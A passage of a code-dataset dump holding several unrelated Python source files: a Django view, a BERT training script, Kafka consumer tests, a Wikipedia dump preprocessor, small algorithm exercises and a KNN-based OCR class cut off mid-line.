get_object_or_404(UserProfile, user=request.user)\n\n if request.method == 'POST':\n form = EditProfileForm(request.POST, instance=profile)\n if form.is_valid():\n form.save()\n messages.success(request, 'Profile updated!')\n return redirect(reverse('profiles', args=[user]))\n else:\n messages.error(request,\n 'Profile update failed.'\n 'Please ensure the form is valid!')\n\n else:\n form = EditProfileForm(instance=profile)\n\n context = {\n 'form': form,\n }\n\n return render(request, 'profiles/edit_profile.html', context)\n","sub_path":"profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"424410266","text":"import time\nimport sys\nimport os\nimport pandas\nimport torch\nimport torch.optim as optim\nfrom os import path\nfrom torch import cuda\nfrom torch.utils.data.dataloader import DataLoader\nfrom torch.nn import CrossEntropyLoss\nfrom transformers import BertTokenizer\nfrom tqdm import tqdm\nfrom yelp_dataset import YelpDataset\nfrom yelp_transformer import YelpTransformer\nfrom bert_model import BertMlp\n\nN_STARS = 'n_stars'\nREVIEWS = 'reviews'\n\n# Settings\ncurrent_file_path = f'{os.getcwd()}/{ __file__}'\nsrc_dir = path.dirname(current_file_path)\ndata_dir = f'{src_dir}/data'\ntrain_path = f'{data_dir}/train.csv'\ntest_path = f'{data_dir}/test.csv'\nmodel_path = f'{data_dir}/model.pth'\n\ncolumn_names = [N_STARS, REVIEWS]\nnum_data = 5000\nbatch_size = 128\nepochs = 3\n\ndevice = 'cuda' if cuda.is_available() else 'cpu'\nprint(f'Use {device.upper()}.')\n\nif not (path.exists(train_path) and path.exists(test_path)):\n print('File not found.')\n sys.exit(1)\n\n\ndef decrease(label): return label - 1\n\n\ntrain_data_frame: pandas.DataFrame = pandas.read_csv(train_path, names=column_names) \\\n .replace(to_replace='\\n', value=' ')\ntrain_data_frame[N_STARS] = train_data_frame[N_STARS].map(decrease)\ntest_data_frame: pandas.DataFrame = pandas.read_csv(test_path, names=column_names) \\\n .replace(to_replace='\\n', value=' ')\ntest_data_frame[N_STARS] = test_data_frame[N_STARS].map(decrease)\n\ntrain_review = train_data_frame[REVIEWS][:num_data]\ntrain_labels = train_data_frame[N_STARS][:num_data]\ntest_review = train_data_frame[REVIEWS][:num_data]\ntest_labels = train_data_frame[N_STARS][:num_data]\n\nbert_tokenizer = BertTokenizer.from_pretrained('bert-base-cased')\ntransformer = YelpTransformer(bert_tokenizer)\ntrain_dataset = YelpDataset(\n reviews=train_review,\n labels=train_labels,\n transformer=transformer,\n)\ntest_dataset = YelpDataset(\n reviews=test_review,\n labels=test_labels,\n transformer=transformer,\n)\n\ntrain_dataloader = DataLoader(\n train_dataset, batch_size=batch_size, shuffle=False)\ntest_dataloader = DataLoader(\n test_dataset, batch_size=batch_size, shuffle=False)\n\nbatch_iterator = iter(train_dataloader)\nencoded_reviews, token_type_ids, attention_mask, label_tensor = next(\n batch_iterator)\n\nprint(encoded_reviews.shape)\n\n\nmodel = BertMlp('bert-base-uncased').to(device)\n\ncrietion = CrossEntropyLoss(reduction='sum')\noptimizer = optim.Adam(model.parameters(), lr=0.001)\n\n# model.to(device)\n\nmodel.train()\n\nfor epoch in range(epochs):\n print(f'Epoch {epoch+1}/{epochs}')\n print('-'*10)\n\n epoch_loss = 0.0\n epoch_corrects = 0\n\n for batch, (encoded_tokens, token_type_ids, attention_mask, labels) in enumerate(tqdm(train_dataloader)):\n optimizer.zero_grad()\n outputs = model(encoded_tokens, token_type_ids, attention_mask)\n\n loss = crietion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n _, pred = torch.max(outputs, 1)\n epoch_loss += loss.item()\n epoch_corrects += torch.sum(pred == labels)\n\n dataset_len = len(train_dataloader.dataset)\n epoch_loss = epoch_loss / len(dataset_len)\n epoch_acc = epoch_corrects.double() / len(dataset_len)\n print(f'\\n{\"=\"*10}')\n print('Loss: {:.4f} Acc: {:.4f}\\n'.format(epoch_loss, epoch_acc))\n print('='*10)\n\ncheckpoints = {\n 'model_state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'criterion': crietion,\n}\n\nprint('saving at %s' % (model_path))\ntorch.save(checkpoints, model_path)\n","sub_path":"bert_tutorial/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"650468367","text":"import os\nimport bz2\nimport csv\nimport xml.sax\nimport numpy as np\nimport pandas as pd\nimport mwparserfromhell\nfrom time import time\nfrom copy import deepcopy as dc\nfrom multiprocessing import Pool\nfrom wiki_xml_handler import WikiXMLHandler\n\n#input_folder = 'C:/data/'\ninput_folder = 'D:/GitHub/DAT500-Project-Wiki/data_no/'\noutput_folder = 'D:/GitHub/DAT500-Project-Wiki/clean-data-no/'\npartitions = [file for file in os.listdir(input_folder) if 'xml-p']\n\ndef preprocess_pages(data_path, save=True):\n \"\"\"Finds and cleans all pages from a compressed wikipedia XML file\"\"\"\n start = time()\n # Object for handling xml\n handler = WikiXMLHandler()\n\n # Parsing object\n parser = xml.sax.make_parser()\n parser.setContentHandler(handler)\n\n # Iteratively process file\n file = bz2.BZ2File(input_folder+data_path, 'r')\n for line in file:\n try:\n parser.feed(line)\n except StopIteration:\n break\n print(f'\\nDone processing {data_path}, now writing csv-file')\n if save:\n with open(output_folder+data_path+'.csv', 'w', encoding='utf-8', newline='') as csvFile:\n writer = csv.writer(csvFile, delimiter='\\t')\n for page in handler._pages:\n temp = []\n for j, item in enumerate(page):\n if j == 2:\n temp.append(4)\n temp.extend(dc(item))\n elif j == 3:\n temp.insert(3, len(dc(item)))\n temp.extend(dc(item))\n else:\n temp.append(dc(item))\n if len(temp) > 0:\n writer.writerow(dc(temp))\n csvFile.close()\n end = time()\n print(f'{data_path} preprocessed in {round(end-start)} seconds')\n print(f'{handler._page_count} pages found in {data_path}')\n file.close()\n\n\ndef main():\n start = time()\n \n \n # Create a pool of workers to execute processes\n # IMPORTANT!!!\n # It is vital to choose the number of processes carefully. Each process\n # can use in excess of 5GB RAM. Use these estimates if you are unsure:\n # 4GB available: DO NOT RUN\n # 8GB available: 1 process\n # 16GB available: 2 processes\n # 32GB available: 5 processes\n #pool = Pool(processes = 5)\n\n # Map (service, task), applies function to each partition\n #pool.map(preprocess_pages, partitions)\n\n #pool.close()\n #pool.join()\n\n preprocess_pages('nowiki-20190320-pages-articles-multistream.xml.bz2')\n end = time()\n print(f'\\nWhole dump preprocessed in {round(end-start)} seconds') \n\n\nif __name__ == '__main__':\n main()","sub_path":"Preproccesing/python/pure_python/wiki_clean.py","file_name":"wiki_clean.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"255020981","text":"from .test_core import GenericConsumerTest\nfrom apf.consumers.kafka import KafkaJsonConsumer, KafkaConsumer, KafkaSchemalessConsumer\nimport unittest\nfrom unittest import mock\nfrom confluent_kafka import KafkaException\nfrom .message_mock import MessageMock, MessageJsonMock, SchemalessMessageMock, SchemalessBadMessageMock\nimport datetime\nimport os\n\n\ndef consume(num_messages=1):\n messages = [[MessageMock(False)] * num_messages]\n messages.append([MessageMock(True)])\n return messages\n\n@mock.patch(\"apf.consumers.kafka.Consumer\")\nclass TestKafkaConsumer(GenericConsumerTest):\n def setUp(self) -> None:\n self.params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n }\n self.component = KafkaConsumer(self.params)\n\n def test_no_topic(self, _):\n params = {\n \"PARAMS\": {\"bootstrap.servers\": \"127.0.0.1:9092\", \"group.id\": \"apf_test\"},\n }\n\n def initialize_consumer(params):\n self.component = KafkaConsumer(params)\n\n self.assertRaises(Exception, initialize_consumer, params)\n\n def test_num_messages_timeout(self, mock_consumer):\n mock_consumer().consume.side_effect = consume(num_messages=10)\n opt_params = [\n {\"consume.timeout\": 10, \"consume.messages\": 100},\n {\"TIMEOUT\": 10, \"NUM_MESSAGES\": 100},\n ]\n for opt_param in opt_params:\n params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n }\n params.update(opt_param)\n self.component = KafkaConsumer(params)\n for msj in self.component.consume():\n self.assertIsInstance(msj, list)\n self.assertEqual(len(msj), 10)\n break\n\n def test_consume(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n mock_consumer().consume.side_effect = consume(num_messages=1)\n for msj in self.component.consume():\n self.assertIsInstance(msj, dict)\n break\n\n def test_batch_consume(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n mock_consumer().consume.side_effect = consume(num_messages=1)\n for msj in self.component.consume(num_messages=10, timeout=5):\n self.assertIsInstance(msj, list)\n # should be equal to available messages even if num_messages is higher\n self.assertEqual(len(msj), 1)\n break\n\n def test_consume_error(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n mock_consumer().consume.side_effect = consume(num_messages=0)\n self.assertRaises(Exception, next, self.component.consume())\n\n def test_commit_error(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n mock_consumer().commit.side_effect = KafkaException\n with self.assertRaises(KafkaException):\n self.component.commit()\n\n def test_commit_retry(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n mock_consumer().commit.side_effect = ([KafkaException] * 4) + [None]\n self.component.commit()\n\n\n@mock.patch(\"apf.consumers.kafka.Consumer\")\nclass TestKafkaConsumerDynamicTopic(unittest.TestCase):\n def setUp(self) -> None:\n self.now = datetime.datetime.utcnow()\n self.tomorrow = self.now + datetime.timedelta(days=1)\n self.date_format = \"%Y%m%d\"\n self.topic1 = \"apf_test_\" + self.now.strftime(self.date_format)\n self.topic2 = \"apf_test_\" + self.tomorrow.strftime(self.date_format)\n self.params = {\n \"TOPIC_STRATEGY\": {\n \"CLASS\": \"apf.core.topic_management.DailyTopicStrategy\",\n \"PARAMS\": {\n \"topic_format\": \"apf_test_%s\",\n \"date_format\": self.date_format,\n \"change_hour\": self.now.hour,\n },\n },\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n }\n self.component = KafkaConsumer(self.params)\n\n def test_recognizes_dynamic_topic(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n self.assertTrue(self.component.dynamic_topic)\n\n def test_creates_correct_topic_strategy_class(self, mock_consumer):\n from apf.core.topic_management import DailyTopicStrategy\n\n self.component = KafkaConsumer(self.params)\n self.assertTrue(\n isinstance(\n self.component.topic_strategy,\n DailyTopicStrategy,\n )\n )\n\n def test_subscribes_to_correct_topic_list(self, mock_consumer):\n self.component = KafkaConsumer(self.params)\n self.assertEqual(self.component.topics, [self.topic1, self.topic2])\n\n def test_detects_new_topic_while_consuming(self, mock_consumer):\n import copy\n\n mock_consumer().consume.side_effect = consume(num_messages=2)\n params = copy.deepcopy(self.params)\n np1 = self.now.hour + 1 if self.now.hour <= 24 else 0\n params[\"TOPIC_STRATEGY\"][\"PARAMS\"][\"change_hour\"] = np1\n self.component = KafkaConsumer(params)\n self.component.topic_strategy.change_hour = self.now.hour\n self.assertEqual(self.component.topics, [self.topic1])\n for _ in self.component.consume():\n self.component.commit()\n break\n self.assertEqual(self.component.topics, [self.topic1, self.topic2])\n\n\nclass TestKafkaJsonConsumer(unittest.TestCase):\n component = KafkaJsonConsumer\n params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\"bootstrap.servers\": \"127.0.0.1:9092\", \"group.id\": \"apf_test\"},\n }\n\n def test_deserialize(self):\n msg = MessageJsonMock()\n consumer = self.component(self.params)\n consumer._deserialize_message(msg)\n\n\nclass TestKafkaSchemalessConsumer(unittest.TestCase):\n\n FILE_PATH = os.path.dirname(__file__)\n SCHEMALESS_CONSUMER_SCHEMA_PATH = os.path.join(FILE_PATH, \"../examples/kafka_schemalessconsumer_schema.avsc\")\n SCHEMALESS_CONSUMER_BAD_SCHEMA_PATH = os.path.join(FILE_PATH, \"../examples/kafka_schemalessconsumer_bad_schema.avsc\")\n\n def test_schema_no_path(self):\n params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n }\n with self.assertRaises(Exception):\n KafkaSchemalessConsumer(params)\n\n def test_shcema_path_to_bad_file(self):\n params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n \"SCHEMA_PATH\": self.SCHEMALESS_CONSUMER_BAD_SCHEMA_PATH\n }\n with self.assertRaises(Exception):\n KafkaSchemalessConsumer(params)\n\n def test_schemaless_deserialize(self):\n schemaless_avro = SchemalessMessageMock(False)\n expected_message = {\"key\": \"llave\", \"value\": 1}\n\n params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n \"SCHEMA_PATH\": self.SCHEMALESS_CONSUMER_SCHEMA_PATH\n }\n\n consumer = KafkaSchemalessConsumer(params)\n\n result = consumer._deserialize_message(schemaless_avro)\n\n self.assertDictEqual(result, expected_message)\n\n def test_schemaless_deserialize_bad_message(self):\n schemaless_avro = SchemalessBadMessageMock(False)\n\n params = {\n \"TOPICS\": [\"apf_test\"],\n \"PARAMS\": {\n \"bootstrap.servers\": \"127.0.0.1:9092\",\n \"group.id\": \"apf_test\",\n },\n \"SCHEMA_PATH\": self.SCHEMALESS_CONSUMER_SCHEMA_PATH\n }\n\n consumer = KafkaSchemalessConsumer(params)\n\n with self.assertRaises(Exception):\n consumer._deserialize_message(schemaless_avro)\n","sub_path":"tests/consumers/test_kafka.py","file_name":"test_kafka.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"35118875","text":"import pytest\nimport discord.ext.test as dpytest\nfrom discord.ext import commands\nimport asyncio\nfrom threading import Thread\nimport time\n\nfrom bab.tests.utils import send_command\nfrom bab.src import bab\n\n\n@pytest.mark.usefixtures\ndef test_run_bot(event_loop):\n thread = Thread(target=bab.run_bot, args=(event_loop,))\n thread.start()\n time.sleep(5)\n event_loop.stop()\n thread.join()\n\n\n@pytest.mark.asyncio\nasync def test_invalid_commands(bab):\n with pytest.raises(commands.CommandError):\n await send_command(\"a\")\n await dpytest.empty_queue()\n with pytest.raises(commands.CommandError):\n await send_command(\"getbirthday\")\n await dpytest.empty_queue()\n with pytest.raises(commands.CommandError):\n await send_command(\"get_birthdayz\")\n await dpytest.empty_queue()\n with pytest.raises(commands.CommandError):\n await send_command(\"GB\")\n await dpytest.empty_queue()\n with pytest.raises(commands.CommandError):\n await send_command(\"gB\")\n await dpytest.empty_queue()\n with pytest.raises(commands.CommandError):\n await send_command(\"get_Birthday\")\n\n\n@pytest.mark.asyncio\nasync def test_enable_and_disable(bab):\n await send_command(\"is_enabled\")\n dpytest.verify_message(\n \"Birthday Announcer is not enabled on this server.\\nYou can re-enable this bot on this server with `!bab enable`.\"\n )\n\n with pytest.raises(commands.MissingPermissions):\n await send_command(\"disable\")\n dpytest.verify_message(\n \"Error: You are missing Administrator permission(s) to run this command.\"\n )\n\n # await send_command(\"enable\")\n # dpytest.verify_message(\"Birthday Announcer has been enabled on this server.\")\n # await send_command(\"enable\")\n # dpytest.verify_message(\"Birthday Announcer has been enabled on this server.\")\n\n # await send_command(\"disable\")\n # dpytest.verify_message(\"abc\")\n # await send_command(\"disable\")\n # dpytest.verify_message(\"abc\")\n","sub_path":"bab/tests/test_misc_commands.py","file_name":"test_misc_commands.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"472840983","text":"from simpleai.search import SearchProblem, astar\r\n\r\nGOAL = 'HELLO WORLD'\r\n\r\n\r\nclass HelloProblem(SearchProblem):\r\n # se tamanho do estado for menor que tamanho do goal\r\n # retorna lista com alfabeto, senão, retorna lista vazia\r\n\r\n def actions(self, state):\r\n if len(state) < len(GOAL):\r\n return list(' ABCDEFGHIJKLMNOPQRSTUVWXYZ')\r\n else:\r\n return []\r\n\r\n # entrada instancia do obj, estado e ação/ retorna como resultado estado + ação\r\n def result(self, state, action):\r\n return state + action\r\n\r\n # define meta com entrada para instancia do obj e estado/ retorna se estado é igual à meta\r\n def is_goal(self, state):\r\n return state == GOAL\r\n\r\n # define a heuristica do problema, com entrada pra instancia do obj e estado/ retorna o erro e o quanto falta\r\n def heuristic(self, state):\r\n # how far are we from the goal?\r\n # erro = se estado[i] diferente do objetivo[i] então 1, senão 0 e itera com for no range(tamanho do estado do parametro)\r\n # o quanto falta = tamanho do objetivo menos o tamanho do estado do parametro\r\n wrong = sum([1 if state[i] != GOAL[i] else 0\r\n for i in range(len(state))])\r\n missing = len(GOAL) - len(state)\r\n return wrong + missing\r\n\r\n# declara var problema igual a classe de helloProblem, com entrada do estado inicial vazio\r\nproblem = HelloProblem(initial_state='')\r\n\r\n# declara var de resultado e recebe o processamento do problema com o algoritmo de A*\r\nresult = astar(problem)\r\n\r\n#mostra o estado inicial do resultado e o caminho feito\r\nprint(result.state)\r\nprint(result.path())","sub_path":"HelloWorld.py","file_name":"HelloWorld.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"350055598","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 17 02:17:44 2016\n\n53. Maximum Subarray\n\nTotal Accepted: 114866 Total Submissions: 311573 Difficulty: Medium\n\nFind the contiguous subarray within an array (containing at least one number) which has the largest sum.\n\nFor example, given the array [−2,1,−3,4,−1,2,1,−5,4],\nthe contiguous subarray [4,−1,2,1] has the largest sum = 6.\n\n\n@author: zeminzhang\n\"\"\"\n\nclass Solution(object):\r\n def maxSubArray(self, nums):\r\n \"\"\"\r\n :type nums: List[int]\r\n :rtype: int\r\n \"\"\" \r\n max_sum, this_sum = -abs(nums[0]), 0\r\n for num in nums:\r\n if this_sum<0: this_sum = 0 #如果之前比0小，直接放弃选下一个，无论都大都比加之前的大\r\n this_sum += num\r\n max_sum = max(max_sum, this_sum)\r\n return max_sum","sub_path":"array/053_OO_Maximum_Subarray.py","file_name":"053_OO_Maximum_Subarray.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"100237938","text":"# DFS로 푸는 게 효과적\nn = int(input())\nm = int(input())\n\ngraph=[[0]*(n+1) for _ in range(n+1)]\nvisited_list=[0]*(n+1)\nfor i in range(m):\n a, b=map(int, input().split())\n graph[a][b]=graph[b][a]=1\n\ninfected_comp=[]\n\ndef dfs(v):\n visited_list[v]=1\n infected_comp.append(1)\n for i in range(n+1):\n if visited_list[i]==0 and graph[v][i]==1:\n dfs(i)\n\ndfs(1)\nprint(len(infected_comp)-1)\n\n","sub_path":"DFS_BFS/바이러스.py","file_name":"바이러스.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"453798827","text":"class Item():\n def __init__(self, item, tables, locale='enGB'):\n # tables = [npc_loot_tpl, obj_loot_tpl, item_loot_tpl, ref_loot_tpl, npc_tpl, obj_tpl, npc_vendor_tpl, npc_vendor, quest_tpl, item_loc_deDE]\n self.id = item[\"id\"]\n if locale == 'deDE' and self.id in tables[9]:\n self.name = tables[9][self.id][\"name\"]\n else:\n self.name = item[\"name\"]\n\n if 4 & item[\"Flags\"]:\n self.lootable = True\n else:\n self.lootable = False\n if item[\"startquest\"] != 0:\n self.startquest = item[\"startquest\"]\n\n def __repr__(self):\n return str(self.id)\n\n def match(self, **kwargs):\n for (key, val) in kwargs.items():\n if not (hasattr(self, key)):\n return False\n return all(getattr(self,key) == val for (key, val) in kwargs.items())\n","sub_path":"Item.py","file_name":"Item.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"205343395","text":"# coding: utf-8\nfrom ipip import IPX\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nIPX.load()\n\n\nclass IpSource(object):\n\n @staticmethod\n def is_ipv4(ip):\n if not ip:\n return False\n if not isinstance(ip, basestring):\n return False\n items = ip.split('.')\n if len(items) != 4:\n return False\n for item in items:\n try:\n int_item = int(item)\n except ValueError:\n return False\n if int_item < 0 or int_item > 255:\n return False\n return True\n\n @staticmethod\n def split_address(address):\n result = []\n s = ''\n tag = 0\n for a in address:\n if a == '\\t':\n if tag:\n s = ''\n tag = 0\n else:\n result.append(s)\n s = ''\n tag = 1\n else:\n tag = 0\n s += a\n result.append(s)\n return result\n\n @staticmethod\n def locate_ip(ip, default=u'unknown'):\n\n if not IpSource.is_ipv4(ip):\n return default, default, default\n\n try:\n address = IPX.find(ip)\n except Exception:\n logger.exception(u'根据IP获取城市失败 IP:[%s]', ip)\n address = \"\"\n\n if address:\n address_parts = IpSource.split_address(address)\n if address_parts[0] == u'中国':\n province = address_parts[1]\n city = address_parts[2]\n operator = address_parts[-9]\n else:\n province = address_parts[0]\n city = ''\n operator = ''\n else:\n province = ''\n city = ''\n operator = ''\n\n if city:\n return city, province, operator\n elif not province or province in (u'本机地址', u'局域网', u'N/A'):\n return default, default, default\n else:\n return city, province, operator\n","sub_path":"polytope/polytope/spout_source/utils/ip_source.py","file_name":"ip_source.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"260308253","text":"import logging\n\nfrom django.conf import settings\nfrom django.middleware.common import BrokenLinkEmailsMiddleware\n\nfrom django.utils.encoding import force_text\n\nlogger = logging.getLogger(__name__)\n\ntry:\n from django_slack import slack_message\nexcept ImportError:\n logger.error(\"Cannot resolve 'django_slack.log.SlackExceptionHandler':\"\n \" No module named django_slack\")\n\n\nclass BrokenLinkSlackMiddleware(BrokenLinkEmailsMiddleware):\n\n def process_response(self, request, response):\n \"\"\"\n Send broken link emails for relevant 404 NOT FOUND responses.\n \"\"\"\n if response.status_code == 404 and not settings.DEBUG:\n domain = request.get_host()\n path = request.get_full_path()\n referer = force_text(request.META.get('HTTP_REFERER', ''),\n errors='replace')\n\n if not self.is_ignorable_request(request, path, domain, referer):\n ua = request.META.get('HTTP_USER_AGENT', '')\n ip = request.META.get('REMOTE_ADDR', '')\n\n subject = \"Broken %slink on %s\" % (\n ('INTERNAL ' if self.is_internal_request(\n domain, referer) else ''),\n domain\n )\n message = (\"Referrer: %s\\nRequested URL: %s\\nUser agent: %s\\n\"\n \"IP address: %s\\n\" % (referer, path, ua, ip))\n attachments = {\n 'subject': subject,\n 'text': message,\n 'color': 'warning',\n }\n template = 'django_slack/exception.slack'\n\n slack_message(template, {'text': subject}, [attachments])\n return response\n","sub_path":"emgcli/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159134327","text":"import functools\nimport os\nimport cv2\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nimport numpy as np\nimport time\nimport operator\nfrom source import OCR\n\nMIN_CONTOUR_AREA = 50\nRESIZED_IMAGE_WIDTH = 20\nRESIZED_IMAGE_HEIGHT = 30\nDIVISION_FACTOR = 500\nH_SPAC = 50\nV_SPAC = 20\n\n\nallContoursWithData = []\nvalidContoursWithData = []\n\nclass ContourWithData():\n\n def __init__(self):\n\n self.npaContour = None # contour\n self.boundingRect = None # bounding rect for contour\n self.intRectX = 0 # bounding rect top left corner x location\n self.intRectY = 0 # bounding rect top left corner y location\n self.intRectWidth = 0 # bounding rect width\n self.intRectHeight = 0 # bounding rect height\n self.fltArea = 0.0 # area of contour\n self.aspectRatio = 0.0\n self.XCentroid = 0.0\n self.YCentroid = 0.0\n\n def rectDetails(self): # calculate bounding rect info\n [intX, intY, intWidth, intHeight] = self.boundingRect\n self.intRectX = intX\n self.intRectY = intY\n self.intRectWidth = intWidth\n self.intRectHeight = intHeight\n self.aspectRatio = float(intWidth) / intHeight\n self.XCentroid = intX + intWidth/2\n self.YCentroid = intY + intHeight/2\n\n def contourCheck(self):\n if self.fltArea > MIN_CONTOUR_AREA and (0.5 < self.aspectRatio < 2): return True # much better validity checking would be necessary\n return False\n\n\n\nclass KNearest():\n image: object\n binaryImage: object\n allContoursWithData = []\n validContoursWithData = []\n kNearest: object\n strCurrentChar =\"\"\n\n strFinalString = \"\"\n\n\n\n def __init__(self, filename, gui):\n self.gui = gui\n self.image_path = filename\n self.image = cv2.imread(self.image_path)\n self.imageCopy = self.image.copy()\n self.image = cv2.cvtColor(self.image, cv2.COLOR_BGR2RGB)\n self.ocr = OCR\n\n print(\"KNN nesnesi olustu\")\n\n def knn(self):\n try:\n npaClassifications = np.loadtxt(\"Classifications.txt\", np.float32)\n except:\n print(\"error, unable to open classifications.txt, exiting program\\n\")\n os.system(\"pause\")\n return\n\n try:\n npaFlattenedImages = np.loadtxt(\"Flattened_images.txt\", np.float32)\n except:\n print(\"error, unable to open flattened_images.txt, exiting program\\n\")\n os.system(\"pause\")\n return\n\n npaClassifications = npaClassifications.reshape((npaClassifications.size, 1))\n # reshape numpy array to 1d, necessary to pass to call to train#\n kNearest = cv2.ml.KNearest_create()\n kNearest.train(npaFlattenedImages, cv2.ml.ROW_SAMPLE, npaClassifications)\n return kNearest\n\n def getContourDetails(self, npaContours):\n\n for npaContour in npaContours:\n # print cv2.contourArea(npaContour)\n contourWithData = ContourWithData() # instantiate a contour with data object\n contourWithData.npaContour = npaContour # assign contour to contour with data\n contourWithData.boundingRect = cv2.boundingRect(contourWithData.npaContour) # get the bounding rect\n contourWithData.rectDetails() # get bounding rect info\n contourWithData.fltArea = cv2.contourArea(contourWithData.npaContour) # calculate the contour area\n allContoursWithData.append(contourWithData)\n\n return allContoursWithData\n\n def compare(self, contourWithData1, contourWithData2):\n if (contourWithData1.intRectY - contourWithData2.intRectY < V_SPAC):\n if (contourWithData1.intRectX < contourWithData2.intRectX):\n return -1\n elif (contourWithData1.intRectX > contourWithData2.intRectX):\n return 1\n else:\n return 0\n else:\n return 0\n\n def getValidContours(self, allContoursWithData):\n\n for contourWithData in allContoursWithData:\n if contourWithData.contourCheck():\n validContoursWithData.append(contourWithData)\n\n (x, y, w, h) = cv2.boundingRect(contourWithData.npaContour)\n\n cv2.rectangle(self.image, (x, y), (x + w, y + h), (0, 255, 0), 2)\n # imgROI = self.binary[y:y + h, x:x + w] # imgRoi kullanılmıyor\n\n self.ocr.showDatasetfromImage(self.image, \"Segmentation\", self.gui.DatasetFrameKNN, gui=self.gui)\n\n validContoursWithData.sort(key=operator.attrgetter(\"intRectY\"))\n cmp = functools.cmp_to_key(self.compare)\n validContoursWithData.sort(key=cmp)\n\n return validContoursWithData\n\n ##\n ##self.allContoursWithData.sort(key=operator.attrgetter(\"intRectX\"))\n ## for a, contourWithData in enumerate(self.allContoursWithData): # for all contours\n ## if contourWithData.contourCheck():\n ## self.validContoursWithData.append(contourWithData)\n ## (x, y, w, h) = cv2.boundingRect(contourWithData.npaContour)\n ##\n ## cv2.rectangle(self.image, (x, y), (x + w, y + h), (0, 255, 0), 2)\n ## # imgROI = self.binary[y:y + h, x:x + w] # imgRoi kullanılmıyor\n\n def formatCheck(self, contourWithData, i, length):\n line_change = \"\"\n\n if (i != length):\n nextContour = validContoursWithData[i]\n else:\n nextContour = validContoursWithData[i - 1]\n # print strFinalString\n if (nextContour.YCentroid - contourWithData.YCentroid > V_SPAC): # Much better Check required\n line_change = \"\\n\"\n\n if (nextContour.XCentroid - contourWithData.XCentroid > H_SPAC): # Much better Check required\n return line_change + \"\\t\"\n return line_change\n\n def recogtion(self, img, imgThresh, validContoursWithData):\n\n kNearest = self.knn()\n strFinalString = \"\"\n i = 0\n a = 0.0\n length = len(validContoursWithData)\n # print length\n for contourWithData in validContoursWithData:\n i += 1\n # print 'Recognising {}th character...{} left'.format(i + 1, length - i)\n # print contourWithData.intRectX, contourWithData.intRectY\n # if(i > 9 ):\n cv2.rectangle(img, (contourWithData.intRectX, contourWithData.intRectY), (\n contourWithData.intRectX + contourWithData.intRectWidth,\n contourWithData.intRectY + contourWithData.intRectHeight), (0, 255, 0), 2)\n # if(i == 45):\n cv2.putText(img, str(i), (int(contourWithData.XCentroid), int(contourWithData.YCentroid)),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n imgROI = imgThresh[contourWithData.intRectY: contourWithData.intRectY + contourWithData.intRectHeight,\n contourWithData.intRectX: contourWithData.intRectX + contourWithData.intRectWidth]\n # imgROI = img[contourWithData.intRectY : contourWithData.intRectY + contourWithData.intRectHeight,contourWithData.intRectX : contourWithData.intRectX + contourWithData.intRectWidth]\n imgROIResized = cv2.resize(imgROI, (RESIZED_IMAGE_WIDTH, RESIZED_IMAGE_HEIGHT))\n cv2.imwrite(\"a.jpg\", imgROI)\n # strCurrentChar = (label_image.recognize())\n npaROIResized = imgROIResized.reshape((1, RESIZED_IMAGE_WIDTH * RESIZED_IMAGE_HEIGHT))\n # npaROIResized = deskew(npaROIResized)\n npaROIResized = np.float32(npaROIResized)\n\n\n retval, npaResults, neigh_resp, dists = kNearest.findNearest(npaROIResized, k=1)\n # npaResults = 